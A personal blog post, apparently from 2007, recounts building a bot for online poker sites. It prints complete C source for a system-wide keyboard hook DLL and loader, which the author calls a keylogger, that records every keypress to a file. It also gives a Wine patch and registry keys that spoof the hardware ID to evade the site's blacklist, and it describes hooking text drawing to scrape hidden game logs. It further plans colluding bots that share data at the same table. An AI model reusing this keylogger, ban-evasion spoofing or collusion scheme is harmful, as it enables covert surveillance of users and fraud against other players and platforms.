.O.
..O Deniz's personal pages
OOO
/home /about

How to Pokebot

January 1, 2007

This a historic document that I found somewhere on my hard drive. It’s incomplete and the quality is very poor at best

The devil: win32 API

To capture the messages from the window of the poker client, had to be done with win api stuff. The other options that come to mind are:

So we need to hook various api functions, ExtTextout, DrawText, etc. Tutorial about this stuff on the web are quite scarce, after quite a while of searching i came up with two simple code examples:

hookdll.c:

#include <windows.h>
#include <string.h>
#include <stdio.h>

#pragma data_seg("hookdata")
HHOOK oldkeyhook = 0;
#pragma data_seg()
#pragma comment(linker, "/SECTION:hookdata,RWS")

#define DllExport  __declspec (dllexport)

DllExport LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
DllExport void InstallHook(int nCode);
DllExport void EndHook();

HINSTANCE hInst = NULL;

BOOL APIENTRY DllMain(HINSTANCE hInstance,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
 	   hInst = hInstance;
 	   break;
    case DLL_PROCESS_DETACH:
 	   break;
    case DLL_THREAD_ATTACH:
 	   break;
    case DLL_THREAD_DETACH:
 	   break;
    }
    return TRUE;
}

void InstallHook(int nCode)
{
    oldkeyhook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInst, 0);
}

DllExport LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wp, LPARAM lp)
{
    FILE *fp;
    if (nCode >= 0)
    { 	  
 	   if ((lp & 0x80000000) == 0x80000000)
 	   {
 		   fp = fopen("C:\\keys.txt","a+");
 		   char lpszName[0x100] = {0};
 		   GetKeyNameText(lp,lpszName,0xFF);
 		   fwrite(lpszName,strlen(lpszName),1, fp);
 		   fclose(fp); 	  
        }   
   }
   return CallNextHookEx(oldkeyhook,nCode,wp,lp);
}
void EndHook(void)
{
    UnhookWindowsHookEx(oldkeyhook);
}

hookexe.c:

#include <windows.h>

LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
char szClassName[ ] = "mTn";

int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)

{
   
    MSG messages;           
    WNDCLASSEX wincl;       
    HWND hwnd; 
   
    wincl.hInstance = hThisInstance;
    wincl.lpszClassName = szClassName;
    wincl.lpfnWndProc = WindowProcedure;     
    wincl.style = CS_DBLCLKS;                
    wincl.cbSize = sizeof (WNDCLASSEX);

   
    wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION);
    wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
    wincl.lpszMenuName = NULL;                
    wincl.cbClsExtra = 0;                     
    wincl.cbWndExtra = 0;                     
   
    wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND;

   
    if (!RegisterClassEx (&wincl))
        return 0;

   
    hwnd = CreateWindowEx (
           0,                  
           szClassName,        
           "mTn keyb hook",      
           WS_OVERLAPPEDWINDOW,
           CW_USEDEFAULT,      
           CW_USEDEFAULT,      
           190,                
           58,                
           HWND_DESKTOP,       
           NULL,               
           hThisInstance,      
           NULL                
           );

    ShowWindow (hwnd, nFunsterStil);

    while (GetMessage (&messages, NULL, 0, 0))
    {
        TranslateMessage(&messages);  
        DispatchMessage(&messages);
    }
    return (int)messages.wParam;
}

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
   
    HWND hButton;
    HWND hButton1;
    static HMODULE hInsDll;
    HFONT hfDefault;
    void (*pInstallHook)(int);
    void (*pUninstallHook)(void);
    switch (message)                 
    {
       
 	   case WM_DESTROY:
            PostQuitMessage (0);      
            break;
        case WM_CREATE:
 		   hfDefault = (HFONT)GetStockObject(DEFAULT_GUI_FONT);//Sistem fontunu alýr
 		   hButton =  CreateWindow("button","HOOK ET",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP,0,0,80,24,hwnd,(HMENU)1001,((LPCREATESTRUCT)(lParam))->hInstance,NULL);
 		   SendMessage(hButton, WM_SETFONT, (WPARAM)hfDefault, MAKELPARAM(FALSE, 0)); //sistem fontunu kullandýrýr
 		   hButton1 =  CreateWindow("button","BIRAK",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP,90,0,90,24,hwnd,(HMENU)1002,((LPCREATESTRUCT)(lParam))->hInstance,NULL);
 		   SendMessage(hButton1, WM_SETFONT, (WPARAM)hfDefault, MAKELPARAM(FALSE, 0)); //sistem fontunu kullandýrýr
 		   hInsDll = LoadLibrary("kbHookDll.dll");
 		   break;
 	   case WM_COMMAND:
 		   switch(LOWORD(wParam))
 		   {
 			   case 1001:
 				   pInstallHook = (void (*)(int))GetProcAddress(hInsDll, "InstallHook");
 				   pInstallHook(TRUE);
 				   break;

 			   case 1002:
 				   pUninstallHook = (void(*)(void))GetProcAddress(hInsDll,"EndHook");
 				   pUninstallHook();
 				   break;
 		   }
 		   break;
        default:                     
            return DefWindowProc (hwnd, message, wParam, lParam);
    }
    return 0;
}

The exe file injects a system wide hook dll that intercepts the keyboard keypress api call and logs the key pressed into a file. A very simple key-logger if you will. The codes logic is pretty simple i think, you just reroute the original api call to yours, do the stuff you want and then call the original api method. The method used here is a method provided by the windows api, so there is nothing illegitimate with the method. But thebad news is that this type of hooking is only supported for hooking messages between windows and not gdi32 api calls, which we need. So we can’t use this method on a poker room client, that disguises its log text

Trying it Under Wine

After failed attemps on win32 API programming I came up with the ingenious idea of running the poker desktop clients on linux, under the wine win32 API emulator.  We had a discussion about the pro/cons of this approach. Pros:

Cons:

Installing wine under debian etch, was quite easy. I just grabbed the source from the sourceforge page and untarred it. The configure script keeps bugging you for the dependencies, which where lib-png, lib-jpeg, flex, bison, libxml2 for me,on a minimal desktop installation of debian. The build time takes quite a while, ~1,5 million lines of code, but completes without errors. Next up, download the pokerroom executable from their page, and run it under wine. Wine complained about missing DLLs such as mfc 4.2 and visual C runtime files. To satisfy this hunger we used winetricks from http://www.kegel.com/winetricks which is a small script that downloads and install the dependecy DLLs. When you fire up wine, the poker room client executes complaining about some DLL being old, which is not important. After you try to login, it says that it can’t connect to the login server. This is because wine hardware ID’s are blacklisted. To overcome this, you need to patch wine to report a different hardware id. Here is the patch for version 0.9.30:

diff -uNr wine-0.9.30-fe/dlls/advapi32/advapi.c wine-0.9.30-fe-patched/dlls/advapi32/advapi.c
--- wine-0.9.30-fe/dlls/advapi32/advapi.c	2007-01-25 07:53:50.000000000 -0800
+++ wine-0.9.30-fe-patched/dlls/advapi32/advapi.c	2007-02-22 16:50:15.000000000 -0800
@@ -112,11 +112,57 @@
*/
BOOL WINAPI GetCurrentHwProfileA(LPHW_PROFILE_INFOA pInfo)
{
-	FIXME("(%p) semi-stub\n", pInfo);
-	pInfo->dwDockInfo = DOCKINFO_DOCKED;
-	strcpy(pInfo->szHwProfileGuid,"{12340001-1234-1234-1234-1233456789012}");
-	strcpy(pInfo->szHwProfileName,"Wine Profile");
-	return 1;
+       CHAR profile[32];
+       DWORD type;
+       DWORD size;
+       DWORD ret;
+       DWORD val;
+       HKEY hkey;
+       BOOL profile_result = 0;
+
+       ret = RegOpenKeyA(HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Control\\IDConfigDB",
+                         &hkey);
+
+       if (ret != ERROR_SUCCESS)
+               goto profile_error;
+
+       ret = RegGetValueA(hkey, NULL, "CurrentConfig", RRF_RT_DWORD,
+                          &type, &val, &size);
+       if (ret != ERROR_SUCCESS || size != 4 || type != REG_DWORD)
+               goto profile_error;
+
+       /* At least, I think the profile names are hex */
+       sprintf(profile, "Hardware Profiles\\%04x", (WORD)(val & 0xffff));
+
+       /* Set the profile name */
+       size = MAX_PROFILE_LEN;
+       ret = RegGetValueA(hkey, profile, "FriendlyName", RRF_RT_REG_SZ,
+                          &type, pInfo->szHwProfileName, &size);
+
+       if (ret != ERROR_SUCCESS || type != REG_SZ)
+               goto profile_error;
+
+       /* Now get the GUID of this profile */
+       size = HW_PROFILE_GUIDLEN;
+       ret = RegGetValueA(hkey, profile, "HwProfileGuid", RRF_RT_REG_SZ,
+                          &type, pInfo->szHwProfileGuid, &size);
+
+       if (ret != ERROR_SUCCESS || type != REG_SZ)
+               goto profile_error;
+
+       /* And finally the docking state */
+       ret = RegGetValueA(hkey, "CurrentDockInfo", "DockingState", RRF_RT_DWORD,
+                          &type, &pInfo->dwDockInfo, &size);
+
+       if (ret != ERROR_SUCCESS || size != 4 || type != REG_DWORD)
+               goto profile_error;
+
+       /* Success */
+      profile_result = 1;
+
+profile_error:
+       RegCloseKey(hkey);
+      return profile_result;
}

/******************************************************************************
diff -uNr wine-0.9.30-fe/tools/wine.inf wine-0.9.30-fe-patched/tools/wine.inf
--- wine-0.9.30-fe/tools/wine.inf	2007-01-25 07:53:50.000000000 -0800
+++ wine-0.9.30-fe-patched/tools/wine.inf	2007-02-22 16:51:03.000000000 -0800
@@ -237,6 +237,22 @@
HKLM,System\CurrentControlSet\Control\Session Manager\Environment,"windir",,"%10%"
HKLM,System\CurrentControlSet\Control\Session Manager\Environment,"winsysdir",,"%11%"

+[IDConfigDB]
+HKLM,System\CurrentControlSet\Control\IDConfigDB,"CurrentConfig",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB,"UserWaitInterval",,0x0000001e
+HKLM,System\CurrentControlSet\Control\IDConfigDB,"IsPortable",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Alias\0000,"DockingState",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Alias\0000,"Capabilities",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Alias\0000,"DockID",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Alias\0000,"SerialNumber",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Alias\0000,"ProfileNumber",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Hardware Profiles,"Unknown",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0000,"PreferenceOrder",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0000,"FriendlyName",,"Wine Profile"
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0000,"Aliasable",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0000,"Cloned",,0x00000000
+HKLM,System\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0000,"HwProfileGuid",,"{abba0009-1ed34-1dad4-1333-1e3e4ebb890a}"
+
[Fonts]
HKLM,%FontSubStr%,"Arial CE,238",,"Arial,238"
HKLM,%FontSubStr%,"Arial CYR,204",,"Arial,204"

cd into the wine source installation directory and apply the patch with

patch -p0 < patch.txt

Next you need to install some registry keys. Put the following into a text file and import with regedit file.txt.

REGEDIT4
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\IDConfigDB]
"CurrentConfig"=hex:00,00,00,00
"IsPortable"=hex:00,00,00,00
"UserWaitInterval"=hex:00,00,00,1e
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\IDConfigDB\Alias]
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\IDConfigDB\Alias\0000]
"Capabilities"=hex:00,00,00,00
"DockID"=hex:00,00,00,00
"DockingState"=hex:00,00,00,00
"ProfileNumber"=hex:00,00,00,00
"SerialNumber"=hex:00,00,00,00
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\IDConfigDB\Hardware Profiles]
"Unknown"=hex:00,00,00,00
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\IDConfigDB\Hardware Profiles\0000]
"Aliasable"=hex:00,00,00,00
"Cloned"=hex:00,00,00,00
"FriendlyName"="Wine Profile"
"HwProfileGuid"="{abba0009-1ed34-1dad4-1333-1e3eb00a890a}"
"PreferenceOrder"=hex:00,00,00,00

Build the source code, and install it. After the installation process this is what you get:

Now that wine works, we need to hook the text drawing functions to capture the game log and process it. Normally this would be an easy task under windows, but the poker rooms use tricks to prevent this from happening. They use custom windows that override the WM_GETTEXT function that should return the contents of a control, and make it return nothing. So we have to hook the text displaying portion of the operating systems API, in this case the wine API. This method resides in the file dlls/user32/text.c. For testing purposes add the following line into DrawTextExW():

FIXME("%s, %d, [%s] %08x\n", debugstr_wn (str, count), count,
        wine_dbgstr_rect(rect), flags);

Now save the file and exit. Run the poker room client with wine, and watch the terminal output a lot of messages. Login to your account and sit at a table. If you watch the terminal log, you’ll see messages flying by with every little piece of text that is ever drawn on to the wine windows. This includes the game log that we are interested in. Now there are a few problems that we can identify here:

This is a screen shot of where we are now:

The Brain

Before setting out to code and getting our hands dirty, the most scary part seemed to me the win 32 API stuff, probably because I’ve been a linux console/web programmer all my life, and i was never into windows and desktop client, especially low level - unmanaged windows API calls. But it seems there are a lot of resources and documents, and even managed code that hooks API calls (discussed in a different chapter). The real beast is the brain, the decision making part, the AI Server.

First off before discussing the actual algorithms and techniques, lets dicuss the architecture, and why it is called the AI Server. Simple: we’ll have multiple poker room clients, playing on mutliple tables, some times even 2 of our bots playing on the same table, and sharing data, though one might think that this would decrease the winnings, and giving more rake, but this would increase our chances of winning more money from the other players. AI algorithms should be changable and tunable on the fly, and yet per AI Client (the Agent) configurable. The best design decision seemed like a client/server model, where the server was the AI Server, and the clients were the agents, that were the gateway between the AI and the poker room client. The AI Server’s architectural crude design is like this: [AIServer Diagram in Omnigraffle]

Flexibilty is a key design objective in most of the projects that get designed. This also was the case in the AI Server. Different algorithms had to be pluggable as modules, changeable according to table characteristics (heretic players, tight players, etc.) without the need of recompilation of code.

Multi-thread is a core requirement, because we’ll be serving a lot of requests and clients

Cheating and using a application container such as tomcat doesn’t help because HTTP is a stateless protocol, and poker is a statefull game. The state will have to be carried out by URL parameters or session/cookies which means that the agent will need to implement a HTTP client, which is not worth the effort. Instead we designed our own text based communication protocol. The protocol is TCP and Text based. Very simple, clients send commands and the server threads act accordingly.

Tags: #programming